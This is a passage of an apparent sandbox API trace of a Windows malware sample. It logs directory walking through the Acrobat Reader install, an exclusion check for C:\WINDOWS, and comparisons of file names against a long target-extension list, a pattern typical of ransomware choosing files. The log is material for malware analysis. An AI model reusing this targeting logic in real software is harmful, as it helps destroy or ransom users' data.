(lpString1=".aspx", lpString2="gs.js") returned -1 [0199.234] lstrlenW (lpString=".asr") returned 4 [0199.234] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".asx") returned 4 [0199.234] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".avi") returned 4 [0199.234] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".avs") returned 4 [0199.234] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".backup") returned 7 [0199.234] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0199.234] lstrlenW (lpString=".bak") returned 4 [0199.234] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".bay") returned 4 [0199.234] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".bd") returned 3 [0199.234] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0199.234] lstrlenW (lpString=".bin") returned 4 [0199.234] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".bmp") returned 4 [0199.234] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".bz2") returned 4 [0199.234] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0199.234] lstrlenW (lpString=".c") returned 2 [0199.235] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0199.235] lstrlenW (lpString=".cdr") returned 4 [0199.235] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".cer") returned 4 [0199.235] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".cf") returned 3 [0199.235] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0199.235] lstrlenW (lpString=".cfc") returned 4 [0199.235] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".cfm") returned 4 [0199.235] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".cfml") returned 5 [0199.235] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0199.235] lstrlenW (lpString=".cfu") returned 4 [0199.235] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".chm") returned 4 [0199.235] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".cin") returned 4 [0199.235] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".class") returned 6 [0199.235] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0199.235] lstrlenW (lpString=".clx") returned 4 [0199.235] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".config") returned 7 [0199.235] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0199.235] lstrlenW (lpString=".cpp") returned 4 [0199.235] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".cr2") returned 4 [0199.235] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0199.235] lstrlenW (lpString=".crt") returned 4 [0199.236] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".crw") returned 4 [0199.236] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".cs") returned 3 [0199.236] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0199.236] lstrlenW (lpString=".css") returned 4 [0199.236] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".csv") returned 4 [0199.236] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".cub") returned 4 [0199.236] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".dae") returned 4 [0199.236] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".dat") returned 4 [0199.236] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".db") returned 3 [0199.236] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0199.236] lstrlenW (lpString=".dbf") returned 4 [0199.236] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".dbx") returned 4 [0199.236] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".dc3") returned 4 [0199.236] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0199.236] lstrlenW (lpString=".dcm") returned 4 [0199.237] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0199.237] lstrlenW (lpString=".dcr") returned 4 [0199.237] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0199.237] lstrlenW (lpString=".der") returned 4 [0199.237] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0199.237] lstrlenW (lpString=".dib") returned 4 [0199.237] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0199.237] lstrlenW (lpString=".dic") returned 4 [0199.237] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0199.237] lstrlenW (lpString=".dif") returned 4 [0199.237] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0199.237] lstrlenW (lpString=".divx") returned 5 [0199.237] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0199.237] lstrlenW (lpString=".djvu") returned 5 [0199.237] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0199.237] lstrlenW (lpString=".dng") returned 4 [0199.237] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0199.237] lstrlenW (lpString=".doc") returned 4 [0199.238] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".docm") returned 5 [0199.238] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0199.238] lstrlenW (lpString=".docx") returned 5 [0199.238] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0199.238] lstrlenW (lpString=".dot") returned 4 [0199.238] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".dotm") returned 5 [0199.238] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0199.238] lstrlenW (lpString=".dotx") returned 5 [0199.238] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0199.238] lstrlenW (lpString=".dpx") returned 4 [0199.238] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".dqy") returned 4 [0199.238] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".dsn") returned 4 [0199.238] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".dt") returned 3 [0199.238] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0199.238] lstrlenW (lpString=".dtd") returned 4 [0199.238] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".dwg") returned 4 [0199.238] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".dwt") returned 4 [0199.238] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".dx") returned 3 [0199.238] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0199.238] lstrlenW (lpString=".dxf") returned 4 [0199.238] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0199.238] lstrlenW (lpString=".edml") returned 5 [0199.238] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0199.238] lstrlenW (lpString=".efd") returned 4 [0199.239] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".elf") returned 4 [0199.239] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".emf") returned 4 [0199.239] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".emz") returned 4 [0199.239] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".epf") returned 4 [0199.239] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".eps") returned 4 [0199.239] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".epsf") returned 5 [0199.239] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0199.239] lstrlenW (lpString=".epsp") returned 5 [0199.239] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0199.239] lstrlenW (lpString=".erf") returned 4 [0199.239] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".exr") returned 4 [0199.239] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".f4v") returned 4 [0199.239] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".fido") returned 5 [0199.239] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0199.239] lstrlenW (lpString=".flm") returned 4 [0199.239] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0199.239] lstrlenW (lpString=".flv") returned 4 [0199.239] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".frm") returned 4 [0199.240] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".fxg") returned 4 [0199.240] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".geo") returned 4 [0199.240] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".gif") returned 4 [0199.240] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".grs") returned 4 [0199.240] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".gz") returned 3 [0199.240] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0199.240] lstrlenW (lpString=".h") returned 2 [0199.240] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0199.240] lstrlenW (lpString=".hdr") returned 4 [0199.240] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".hpp") returned 4 [0199.240] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".hta") returned 4 [0199.240] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".htc") returned 4 [0199.240] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".htm") returned 4 [0199.240] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0199.240] lstrlenW (lpString=".html") returned 5 [0199.241] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0199.241] lstrlenW (lpString=".icb") returned 4 [0199.241] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".ics") returned 4 [0199.241] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".iff") returned 4 [0199.241] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".inc") returned 4 [0199.241] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".indd") returned 5 [0199.241] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0199.241] lstrlenW (lpString=".ini") returned 4 [0199.241] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".iqy") returned 4 [0199.241] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".j2c") returned 4 [0199.241] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".j2k") returned 4 [0199.241] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".java") returned 5 [0199.241] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0199.241] lstrlenW (lpString=".jp2") returned 4 [0199.241] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".jpc") returned 4 [0199.241] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".jpe") returned 4 [0199.241] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".jpeg") returned 5 [0199.241] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0199.241] lstrlenW (lpString=".jpf") returned 4 [0199.241] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0199.241] lstrlenW (lpString=".jpg") returned 4 [0199.242] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0199.242] lstrlenW (lpString=".jpx") returned 4 [0199.242] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0199.242] lstrlenW (lpString=".js") returned 3 [0199.242] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0199.242] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x315b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0199.242] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0199.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0199.242] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0199.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il") returned 105 [0199.242] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il") returned 1 [0199.242] lstrlenW (lpString="en-il") returned 5 [0199.242] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-il") returned -1 [0199.242] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4515f80 [0199.242] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il") returned 105 [0199.242] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\*", lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420720 [0199.242] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.242] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.243] lstrlenW (lpString="ui-strings.js") returned 13 [0199.243] lstrlenW (lpString=".1cd") returned 4 [0199.243] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0199.243] lstrlenW (lpString=".3ds") returned 4 [0199.243] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0199.243] lstrlenW (lpString=".3fr") returned 4 [0199.243] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0199.243] lstrlenW (lpString=".3g2") returned 4 [0199.243] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0199.243] lstrlenW (lpString=".3gp") returned 4 [0199.243] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0199.243] lstrlenW (lpString=".7z") returned 3 [0199.243] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0199.243] lstrlenW (lpString=".accda") returned 6 [0199.243] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0199.243] lstrlenW (lpString=".accdb") returned 6 [0199.243] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0199.243] lstrlenW (lpString=".accdc") returned 6 [0199.243] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0199.243] lstrlenW (lpString=".accde") returned 6 [0199.243] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0199.243] lstrlenW (lpString=".accdt") returned 6 [0199.243] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0199.243] lstrlenW (lpString=".accdw") returned 6 [0199.243] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0199.243] lstrlenW (lpString=".adb") returned 4 [0199.243] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0199.243] lstrlenW (lpString=".adp") returned 4 [0199.243] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0199.243] lstrlenW (lpString=".ai") returned 3 [0199.244] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0199.244] lstrlenW (lpString=".ai3") returned 4 [0199.244] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".ai4") returned 4 [0199.244] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".ai5") returned 4 [0199.244] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".ai6") returned 4 [0199.244] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".ai7") returned 4 [0199.244] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".ai8") returned 4 [0199.244] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".anim") returned 5 [0199.244] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0199.244] lstrlenW (lpString=".arw") returned 4 [0199.244] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".as") returned 3 [0199.244] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0199.244] lstrlenW (lpString=".asa") returned 4 [0199.244] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".asc") returned 4 [0199.244] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".ascx") returned 5 [0199.244] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0199.244] lstrlenW (lpString=".asm") returned 4 [0199.244] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".asmx") returned 5 [0199.244] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0199.244] lstrlenW (lpString=".asp") returned 4 [0199.244] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0199.244] lstrlenW (lpString=".aspx") returned 5 [0199.244] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0199.245] lstrlenW (lpString=".asr") returned 4 [0199.245] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".asx") returned 4 [0199.245] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".avi") returned 4 [0199.245] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".avs") returned 4 [0199.245] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".backup") returned 7 [0199.245] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0199.245] lstrlenW (lpString=".bak") returned 4 [0199.245] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".bay") returned 4 [0199.245] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".bd") returned 3 [0199.245] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0199.245] lstrlenW (lpString=".bin") returned 4 [0199.245] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".bmp") returned 4 [0199.245] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".bz2") returned 4 [0199.245] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".c") returned 2 [0199.245] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0199.245] lstrlenW (lpString=".cdr") returned 4 [0199.245] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".cer") returned 4 [0199.245] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0199.245] lstrlenW (lpString=".cf") returned 3 [0199.245] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0199.245] lstrlenW (lpString=".cfc") returned 4 [0199.245] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".cfm") returned 4 [0199.246] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".cfml") returned 5 [0199.246] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0199.246] lstrlenW (lpString=".cfu") returned 4 [0199.246] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".chm") returned 4 [0199.246] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".cin") returned 4 [0199.246] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".class") returned 6 [0199.246] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0199.246] lstrlenW (lpString=".clx") returned 4 [0199.246] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".config") returned 7 [0199.246] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0199.246] lstrlenW (lpString=".cpp") returned 4 [0199.246] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".cr2") returned 4 [0199.246] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".crt") returned 4 [0199.246] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".crw") returned 4 [0199.246] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0199.246] lstrlenW (lpString=".cs") returned 3 [0199.247] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0199.247] lstrlenW (lpString=".css") returned 4 [0199.247] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0199.247] lstrlenW (lpString=".csv") returned 4 [0199.247] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0199.247] lstrlenW (lpString=".cub") returned 4 [0199.247] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0199.247] lstrlenW (lpString=".dae") returned 4 [0199.247] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0199.247] lstrlenW (lpString=".dat") returned 4 [0199.247] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0199.247] lstrlenW (lpString=".db") returned 3 [0199.247] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0199.247] lstrlenW (lpString=".dbf") returned 4 [0199.247] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0199.247] lstrlenW (lpString=".dbx") returned 4 [0199.247] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".dc3") returned 4 [0199.248] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".dcm") returned 4 [0199.248] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".dcr") returned 4 [0199.248] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".der") returned 4 [0199.248] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".dib") returned 4 [0199.248] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".dic") returned 4 [0199.248] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".dif") returned 4 [0199.248] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".divx") returned 5 [0199.248] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0199.248] lstrlenW (lpString=".djvu") returned 5 [0199.248] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0199.248] lstrlenW (lpString=".dng") returned 4 [0199.248] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".doc") returned 4 [0199.248] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".docm") returned 5 [0199.248] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0199.248] lstrlenW (lpString=".docx") returned 5 [0199.248] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0199.248] lstrlenW (lpString=".dot") returned 4 [0199.248] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0199.248] lstrlenW (lpString=".dotm") returned 5 [0199.248] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0199.248] lstrlenW (lpString=".dotx") returned 5 [0199.249] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0199.249] lstrlenW (lpString=".dpx") returned 4 [0199.249] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".dqy") returned 4 [0199.249] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".dsn") returned 4 [0199.249] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".dt") returned 3 [0199.249] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0199.249] lstrlenW (lpString=".dtd") returned 4 [0199.249] lstrcmpiW (lpString1=".dtd", 